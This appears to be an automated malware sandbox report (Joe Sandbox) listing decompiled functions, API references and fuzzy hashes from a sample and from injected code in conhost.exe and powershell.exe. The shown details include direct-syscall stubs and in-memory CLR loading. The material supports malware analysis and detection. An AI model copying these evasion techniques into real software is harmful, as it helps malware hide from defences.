Function 00401BEA Relevance: .1, Instructions: 61
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 53%

			_entry_() {
				char _v12;
				long long _v24;
				long long _v40;
				void* _t15;
				void* _t16;

				L00401D78();
				L00401DA8();
				L00401DB0();
				L00401DB8();
				_v24 = __imp____argc;
				_v40 =  &_v12;
				L00401DC0();
				_v24 = __imp____argc;
				_t15 = E00401B3F(_t16, _v24,  *__imp____argv,  *__imp___environ,  &_v12); // executed
				L00401DC8(); // executed
				return _t15;
			}

0x00401c17
0x00401c29
0x00401c39
0x00401c54
0x00401c6e
0x00401c76
0x00401c97
0x00401cb1
0x00401cd0
0x00401cdb
0x00401ce1

Memory Dump Source

Source File: 00000000.00000002.438450061.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.438445677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.438454384.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.439170445.00000000005DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.439175059.00000000005DF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1338.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d8f7750eb13f6caf45962ae0b5c8e6f13678a6a96c502602ee71ae71581b22e
Instruction ID: edd8300733597f32f2ee978fe9ac9fff29ef75b1fe1343aac60f8b25cfeacb98
Opcode Fuzzy Hash: 7d8f7750eb13f6caf45962ae0b5c8e6f13678a6a96c502602ee71ae71581b22e
Instruction Fuzzy Hash: D2211964302E1488EB50DB27DC6179A67A4BB4DFC8F804937AE0DA73A5EE3CD601C744

Uniqueness

Uniqueness Score: -1.00%

Function 00401B3F Relevance: .0, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 43%

			E00401B3F(void* __ecx, long long __rcx, long long __rdx, long long __r8, void* __r9, long long _a8, long long _a16, long long _a24) {
				intOrPtr _v12;
				long long _v24;
				intOrPtr _t14;

				_a8 = __rcx;
				_a16 = __rdx;
				_a24 = __r8;
				E00401A48(_a16, _a16, _a24);
				_v24 = __imp____argc;
				_t14 = E004010C4(_v24, _v24,  *__imp____argv); // executed
				_v12 = _t14;
				E00401ADC();
				return _v12;
			}

0x00401b4a
0x00401b4e
0x00401b52
0x00401b70
0x00401b8a
0x00401ba9
0x00401bae
0x00401bb1
0x00401bba

Memory Dump Source

Source File: 00000000.00000002.438450061.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.438445677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.438454384.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.439170445.00000000005DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.439175059.00000000005DF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1338.jbxd

Similarity

API ID: memsetsprintf
String ID:
API String ID: 4041149307-0
Opcode ID: 6764248a65143230f5fa14b63b02f471757a591320ddc2a527cf729df730e93a
Instruction ID: c571b51ad4df78ffad94752286725173bdee0121640128f8aec39e0708da8985
Opcode Fuzzy Hash: 6764248a65143230f5fa14b63b02f471757a591320ddc2a527cf729df730e93a
Instruction Fuzzy Hash: A601D266702B4889DB10DF66DC9139837A4B348BC8F004826AE0CA7B68DA38D511CB44

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00401946 Relevance: .0, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E00401946(long long __rcx, long long __rdx, long long __r8, long long __r9, long long _a8, long long _a16, long long _a24, long long _a32) {
				void* _t9;
				signed long long _t11;

				_a8 = __rcx;
				_a16 = __rdx;
				_a24 = __r8;
				_a32 = __r9;
				_t9 = E0040189D(_t11, __rcx);
				asm("syscall");
				return _t9;
			}

0x00401946
0x0040194b
0x00401950
0x00401955
0x00401963
0x00401983
0x00401985

Memory Dump Source

Source File: 00000000.00000002.438450061.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.438445677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.438454384.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.439170445.00000000005DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.439175059.00000000005DF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1338.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 754798f137a90f6bfbdd44437f8a26324e9b1650818ee4e69b83fa847c638778
Instruction ID: bb6dc57e5e6d00ac3b599d71d6b73205dd6ef6319e7c77c91fb469b109ff2e2c
Opcode Fuzzy Hash: 754798f137a90f6bfbdd44437f8a26324e9b1650818ee4e69b83fa847c638778
Instruction Fuzzy Hash: 55E0B676A08B80C18210EF55F04101AB7A4F7E87C4B14456EFAC817B19DF3CC1608E58

Uniqueness

Uniqueness Score: -1.00%

Function 004019C6 Relevance: .0, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E004019C6(long long __rcx, long long __rdx, long long __r8, long long __r9, long long _a8, long long _a16, long long _a24, long long _a32) {
				void* _t9;
				signed long long _t11;

				_a8 = __rcx;
				_a16 = __rdx;
				_a24 = __r8;
				_a32 = __r9;
				_t9 = E0040189D(_t11, __rcx);
				asm("syscall");
				return _t9;
			}

0x004019c6
0x004019cb
0x004019d0
0x004019d5
0x004019e3
0x00401a03
0x00401a05

Memory Dump Source

Source File: 00000000.00000002.438450061.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.438445677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.438454384.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.439170445.00000000005DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.439175059.00000000005DF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1338.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 25404bc6cae4395c76a647428e86ba1968cc744108483a1f90b93c8c37301177
Instruction ID: 51c0650ffd9774f0920afbe4d4200ca525cd56899027ff788b3374880696bfbf
Opcode Fuzzy Hash: 25404bc6cae4395c76a647428e86ba1968cc744108483a1f90b93c8c37301177
Instruction Fuzzy Hash: 72E0B676608B80818210EF55F04001EB7A4F3E87C4F10465AFAC817B19CF38C1608E94

Uniqueness

Uniqueness Score: -1.00%

Function 00401A06 Relevance: .0, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E00401A06(long long __rcx, long long __rdx, long long __r8, long long __r9, long long _a8, long long _a16, long long _a24, long long _a32) {
				void* _t9;
				signed long long _t11;

				_a8 = __rcx;
				_a16 = __rdx;
				_a24 = __r8;
				_a32 = __r9;
				_t9 = E0040189D(_t11, __rcx);
				asm("syscall");
				return _t9;
			}

0x00401a06
0x00401a0b
0x00401a10
0x00401a15
0x00401a23
0x00401a43
0x00401a45

Memory Dump Source

Source File: 00000000.00000002.438450061.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.438445677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.438454384.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.439170445.00000000005DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.439175059.00000000005DF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1338.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 998c96b42990e9022b0f6bd2447fd1769ed2e61415031125fd9c63c7b278971a
Instruction ID: 7424203293fca1d6e0b2c804dfbcc41db58a47c2ab58dfd9d4da75e1fe2057c2
Opcode Fuzzy Hash: 998c96b42990e9022b0f6bd2447fd1769ed2e61415031125fd9c63c7b278971a
Instruction Fuzzy Hash: C6E026B6A08B84928610EF56F04145AB7B4F7E87C4B54495AFAC857B19DF38C1608A54

Uniqueness

Uniqueness Score: -1.00%

Function 00401986 Relevance: .0, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 40%

			E00401986(long long __rcx, long long __rdx, long long __r8, long long __r9, long long _a8, long long _a16, long long _a24, long long _a32) {
				void* _t9;
				signed long long _t11;

				_a8 = __rcx;
				_a16 = __rdx;
				_a24 = __r8;
				_a32 = __r9;
				_t9 = E0040189D(_t11, __rcx);
				asm("syscall");
				return _t9;
			}

0x00401986
0x0040198b
0x00401990
0x00401995
0x004019a3
0x004019c3
0x004019c5

Memory Dump Source

Source File: 00000000.00000002.438450061.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.438445677.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.438454384.0000000000402000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.439170445.00000000005DD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.439175059.00000000005DF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_1338.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36b211a9e4b3872e90f16f796bb24afd1074b322115fdfb724c17c4b9b879d27
Instruction ID: 605c79eb5aeb9a106a83d6f2d40d4c4e89cbfcc3187a819f05b45420c746b8d7
Opcode Fuzzy Hash: 36b211a9e4b3872e90f16f796bb24afd1074b322115fdfb724c17c4b9b879d27
Instruction Fuzzy Hash: 7EE0B67A608B80C28210EF55F04001EBBA5F7E87C4B10495AFAC817B2ACF38C1608B54

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: conhost.exePID: 7056, Parent PID: 7044COMMON

Execution Graph

Execution Coverage:	11.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	42.9%
Total number of Nodes:	21
Total number of Limit Nodes:	2

Executed Functions

Function 000002779DE89106 Relevance: 1.9, APIs: 1, Instructions: 378
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000002779DE89264

Memory Dump Source

Source File: 00000001.00000002.514767392.000002779DCB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002779DCB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2779dcb0000_conhost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 4981fcbef524a62066d347c258a4edd11de724e6c9263cf9e55c3275a19a809e
Instruction ID: 1cdbb2579aea5b7e8b2d53aadafa4764b1e38a7842d2e96e083102cac932efaa
Opcode Fuzzy Hash: 4981fcbef524a62066d347c258a4edd11de724e6c9263cf9e55c3275a19a809e
Instruction Fuzzy Hash: 3BC1933071E949DBEB5DEE2ADCD97B9B3D1FB98300F540129D64EC7186DB20F8528A81

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1C34B1E Relevance: 1.7, Strings: 1, Instructions: 403
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8e.S, xrefs: 00007FF9F1C34CA9

Memory Dump Source

Source File: 00000001.00000002.521345881.00007FF9F1C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff9f1c30000_conhost.jbxd

Similarity

API ID:
String ID: 8e.S
API String ID: 0-2745307131
Opcode ID: baa4e3368779fe7f0a916182baa8f7e601ddb0e08892da5c06e7de3b98da16d2
Instruction ID: 4950fc3cf34cd23ed1ec086585f7c5c5a1deadc4156b88a4be95184d60ba035b
Opcode Fuzzy Hash: baa4e3368779fe7f0a916182baa8f7e601ddb0e08892da5c06e7de3b98da16d2
Instruction Fuzzy Hash: 05D18330918A4D8FEBA8DF28C8467F937D1FF64301F54426ED85DC7295DB74A9818B82

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1C358CE Relevance: 1.6, Strings: 1, Instructions: 386
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8e.S, xrefs: 00007FF9F1C35B8B

Memory Dump Source

Source File: 00000001.00000002.521345881.00007FF9F1C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff9f1c30000_conhost.jbxd

Similarity

API ID:
String ID: 8e.S
API String ID: 0-2745307131
Opcode ID: a5ea20d36cde1d8697521c28d622a85dcaf4a91d177279fe75a0031972bbd5fb
Instruction ID: 285e110ec30dff752554d6255b3758f0bc606eaab4d7bf90c3244c61ccf8f8b2
Opcode Fuzzy Hash: a5ea20d36cde1d8697521c28d622a85dcaf4a91d177279fe75a0031972bbd5fb
Instruction Fuzzy Hash: 3ED18030918A4D8FEBA8DF28C8567F937D1FB54310F14826AD85DC7295CB74A9818B82

Uniqueness

Uniqueness Score: -1.00%

Function 000002779DE894D6 Relevance: .4, Instructions: 407
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.514767392.000002779DCB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002779DCB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2779dcb0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 306a5ba0858ec8563746270e14812acecfee1f597f63ee0c00ea7117a0eb1afc
Instruction ID: 4a294c7c9121ec9f2abe414c11bb93fe294ff49c0ac9442f2a1932adcdcee7e8
Opcode Fuzzy Hash: 306a5ba0858ec8563746270e14812acecfee1f597f63ee0c00ea7117a0eb1afc
Instruction Fuzzy Hash: 34E14A3190CA488BDB59DF28C889BAAB7E1FF94310F14466EE94FCB155DF30E9468B41

Uniqueness

Uniqueness Score: -1.00%

Function 000002779DE88EB2 Relevance: 3.2, APIs: 2, Instructions: 235
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CLRCreateInstance.MSCOREE ref: 000002779DE88F01
SafeArrayDestroy.OLEAUT32 ref: 000002779DE890AC

Memory Dump Source

Source File: 00000001.00000002.514767392.000002779DCB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002779DCB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2779dcb0000_conhost.jbxd

Similarity

API ID: ArrayCreateDestroyInstanceSafe
String ID:
API String ID: 3902440814-0
Opcode ID: 3d7ce29a3494d90a8d6d00d3dac55982f43ec50322358874c395b9073376e0d7
Instruction ID: d340458c94a7f1ea5a0a05db28bcb75cfe7d40792816f722c09352e0a5c1e55c
Opcode Fuzzy Hash: 3d7ce29a3494d90a8d6d00d3dac55982f43ec50322358874c395b9073376e0d7
Instruction Fuzzy Hash: B6817F3060CB488FD768EF29D888BA6B7E1FFA9301F004A6DD59FC7151EA31E5458B41

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1C3047B Relevance: 3.0, Strings: 2, Instructions: 460
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

jtZL, xrefs: 00007FF9F1C308BF
jtZL, xrefs: 00007FF9F1C308D3

Memory Dump Source

Source File: 00000001.00000002.521345881.00007FF9F1C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff9f1c30000_conhost.jbxd

Similarity

API ID:
String ID: jtZL$jtZL
API String ID: 0-4101839450
Opcode ID: 844e61cc06fe1d8eac80d14a6b2f4eb763a9abf7e181b14d0a02ed3a9dbb701b
Instruction ID: fd9dcdd4678b2d9b7f30625d2ff840c5a8990cfbf1122d537702ebff97555d74
Opcode Fuzzy Hash: 844e61cc06fe1d8eac80d14a6b2f4eb763a9abf7e181b14d0a02ed3a9dbb701b
Instruction Fuzzy Hash: 0BE19321A1CA494FF798F73880567B876D1EF56340F2100BAD41DC72E3DE6A7C958B91

Uniqueness

Uniqueness Score: -1.00%

Function 000002779DE883BA Relevance: 1.6, APIs: 1, Instructions: 125
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000002779DE883D4

Memory Dump Source

Source File: 00000001.00000002.514767392.000002779DCB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002779DCB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2779dcb0000_conhost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f89ad9e96b35fafe6bd70e564392d15cd00fb15afb359a287abc9c565ef81a9a
Instruction ID: f8d96b013e1aaa822f9adda4bcdc19b2453f2f7f4bc28e9f898205526400b0ce
Opcode Fuzzy Hash: f89ad9e96b35fafe6bd70e564392d15cd00fb15afb359a287abc9c565ef81a9a
Instruction Fuzzy Hash: 8131A63130CA4C8FEB58AA69E8893AA73D5FBD8310F001159ED4FC3286DD64ED0687C1

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1C312AD Relevance: 1.6, Strings: 1, Instructions: 371
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

H.S, xrefs: 00007FF9F1C3137B

Memory Dump Source

Source File: 00000001.00000002.521345881.00007FF9F1C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff9f1c30000_conhost.jbxd

Similarity

API ID:
String ID: H.S
API String ID: 0-2311013185
Opcode ID: 3a41fbe276096f8d54006143753828332dcd2c3295041a66fafb116a534e6003
Instruction ID: 9419ade29d1f475a14dc55f3495434b2986e87c0f1ad45d98f6e6434a8af0eab
Opcode Fuzzy Hash: 3a41fbe276096f8d54006143753828332dcd2c3295041a66fafb116a534e6003
Instruction Fuzzy Hash: C2B12A21A2CE894FF795E72C44523B977D2EF86751F2800BAD41EC72D2DE69BC818781

Uniqueness

Uniqueness Score: -1.00%

Function 000002779DE882AF Relevance: 1.6, APIs: 1, Instructions: 115
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000002779DE882BC

Memory Dump Source

Source File: 00000001.00000002.514767392.000002779DCB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002779DCB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2779dcb0000_conhost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: f58acd79c9a8aa4a66f57679936c769f9dd2a38ea99c88ea39cd659f90fbd764
Instruction ID: f0ddcca3729bb66bceb11a6b69ed794075257d2297a066a5c3ad9d3e2a60f66b
Opcode Fuzzy Hash: f58acd79c9a8aa4a66f57679936c769f9dd2a38ea99c88ea39cd659f90fbd764
Instruction Fuzzy Hash: DA31613130CE488BDB59EA59A8997A973D6E7D8320F000259ED4FD72C9EE60ED468781

Uniqueness

Uniqueness Score: -1.00%

Function 000002779DE882A2 Relevance: 1.5, APIs: 1, Instructions: 35
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000002779DE882BC

Memory Dump Source

Source File: 00000001.00000002.514767392.000002779DCB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002779DCB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2779dcb0000_conhost.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 18f38e2fc847854b46ad59a886f9863d7abffa86fceba1a0e453a632ae2104e0
Instruction ID: b2b16fb6e519b4724366f214e056ad4fdc969f593b080949cd5cb3fe4634b56b
Opcode Fuzzy Hash: 18f38e2fc847854b46ad59a886f9863d7abffa86fceba1a0e453a632ae2104e0
Instruction Fuzzy Hash: ADE0D83120CF0D5FF758D59EE88A7B676D8D795271F00002EEA49C2201E05598910391

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1C300C0 Relevance: .3, Instructions: 269
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.521345881.00007FF9F1C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff9f1c30000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b90d3bd5668bcff010ef658bb8cb4e0d2d5170c730c703a08d8275b9783e218
Instruction ID: ea07a1d3ce4520380b5faa4dfe6d8d37a7eff1be64280b10a2c77fed8502c7e8
Opcode Fuzzy Hash: 1b90d3bd5668bcff010ef658bb8cb4e0d2d5170c730c703a08d8275b9783e218
Instruction Fuzzy Hash: 20717E31B1CA498FEB88FB6C9446779B7D2EF99701F14417AE05EC3292DE64BC428781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1C30EBB Relevance: .2, Instructions: 233
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.521345881.00007FF9F1C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff9f1c30000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab801ad01d85fa96d94dbcb9d2966a9bc878a7342849d13f8f1932fb6485ccb0
Instruction ID: 2b02b79f0a01fbabe31d58fe545b5b66e83f3e8723b3a84452ea8de3ef9a71b0
Opcode Fuzzy Hash: ab801ad01d85fa96d94dbcb9d2966a9bc878a7342849d13f8f1932fb6485ccb0
Instruction Fuzzy Hash: 8D618F31B1CA498FEB98EB6C94467B9B7D1EF99710F14417AE04DC32D2DE64AC828781

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1C30D51 Relevance: .1, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.521345881.00007FF9F1C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff9f1c30000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29c997cca77a151d10f80b51c4b0b8b0ef586ee699da17bcdf684d3d17d16794
Instruction ID: 75439e8957bbc43faff20e38fab3ef42ee9943a25630bac1ce0a0ee62b1501f1
Opcode Fuzzy Hash: 29c997cca77a151d10f80b51c4b0b8b0ef586ee699da17bcdf684d3d17d16794
Instruction Fuzzy Hash: 87518F3184E6C25FE317D77498A2B547FA0AE03164B2E02EAC0D4CB1E7DA9DA456C772

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1C311EB Relevance: .1, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.521345881.00007FF9F1C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff9f1c30000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7b468943b3a0f49afc29392a2d7477022e603b6143ba651b053ee91d41ae1c1f
Instruction ID: 8e8015699555361a36d1000279b71bc71c6284741aa3038115abdf9c37fced8e
Opcode Fuzzy Hash: 7b468943b3a0f49afc29392a2d7477022e603b6143ba651b053ee91d41ae1c1f
Instruction Fuzzy Hash: 6611273292CA490EDB69B36C90126FA76D1FF56300F04417EE05EC36D3DE59A8054281

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1C311F0 Relevance: .1, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000001.00000002.521345881.00007FF9F1C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff9f1c30000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23ba4a2b1b254c8c7429c51e16c3ecd6301efec50ae1ae47abf84ad7c0e88b5b
Instruction ID: 658d4c3ab26d42639e8e04c9f6cff70a711b8f7ed2dc308e33750ab35fb642a9
Opcode Fuzzy Hash: 23ba4a2b1b254c8c7429c51e16c3ecd6301efec50ae1ae47abf84ad7c0e88b5b
Instruction Fuzzy Hash: CE112931A2CA490ADB69B32C9016AFA73D0FF56310F44457DE05EC36E3EE59B8064285

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF9F1C30E60 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.521345881.00007FF9F1C30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1C30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_7ff9f1c30000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 872e3fe023c6b912e6abb1e2cf06376fcb4c5813ca158bfa35fcc464dca00da1
Instruction ID: b239f384f4fe21392baeb6fc5e6c2ff126f107e5d9a028d8bdaa99e9d623b555
Opcode Fuzzy Hash: 872e3fe023c6b912e6abb1e2cf06376fcb4c5813ca158bfa35fcc464dca00da1
Instruction Fuzzy Hash: 0DE04F21B1CC1D4F9B94F73D5445FA962D3EB9C210B6645B6E40DC3296DD28DC818790

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 000002779DE8990E Relevance: .5, Instructions: 485COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.514767392.000002779DCB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002779DCB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2779dcb0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6531b67ce70f4808bba5184535e8a35845fbd4cc4a06e56e41443b3282772b6
Instruction ID: 149160ede7069e84d42234b62b4c6182055ebea41e29981a26d0462dda730aab
Opcode Fuzzy Hash: d6531b67ce70f4808bba5184535e8a35845fbd4cc4a06e56e41443b3282772b6
Instruction Fuzzy Hash: 9CE18131A1DE558BEB6CDF298C897A973D1FB54310F54412DDA8EC7281EB34F8428785

Uniqueness

Uniqueness Score: -1.00%

Function 000002779DE89D6A Relevance: .3, Instructions: 283COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.514767392.000002779DCB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002779DCB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2779dcb0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3e321b4785e06cfc76593c4065e2a267ad969067c31a882a516f8b4e134ab4b
Instruction ID: ae84d8aa5c729f26321395add3dfde4062d6c93bca9db02d4e20ee82bb6e0d62
Opcode Fuzzy Hash: f3e321b4785e06cfc76593c4065e2a267ad969067c31a882a516f8b4e134ab4b
Instruction Fuzzy Hash: 25A11E31508A4C8FDB59EF28C889BEA77E5FBA8315F10466EE44ED7160EB30E645CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000002779DE884D2 Relevance: .3, Instructions: 257COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.514767392.000002779DCB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002779DCB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2779dcb0000_conhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9024142b0f504c64395661c2abff4caccef44dbafbcbe07c4f80d19b33edefa
Instruction ID: 39eac9059a1fb314aa348241d08906318bdbd3e20e81c5ecbe604d1085ae4ea1
Opcode Fuzzy Hash: b9024142b0f504c64395661c2abff4caccef44dbafbcbe07c4f80d19b33edefa
Instruction Fuzzy Hash: 1181613161DB498BEB68DF2598997EAB7E4FB58301F00462ED99FC2141DF30E9458BC1

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: powershell.exePID: 6280, Parent PID: 7124COMMON

Executed Functions

Function 00007FF9F1C2405B Relevance: 1.6, Strings: 1, Instructions: 319COMMON

Download Yara Rule

Strings

@ N, xrefs: 00007FF9F1C2423D

Memory Dump Source

Source File: 00000004.00000002.481946474.00007FF9F1C20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9F1C20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff9f1c20000_powershell.jbxd

Similarity

API ID:
String ID: @ N
API String ID: 0-1596310659
Opcode ID: b400e364327ff5ef20cbc0a5beb896dda7498147f9751466d594c1b09071aee9
Instruction ID: 2f6812d53aaa8e9806a44af1e8dff30e182016dd7aed2043b774850a938d21d1
Opcode Fuzzy Hash: b400e364327ff5ef20cbc0a5beb896dda7498147f9751466d594c1b09071aee9
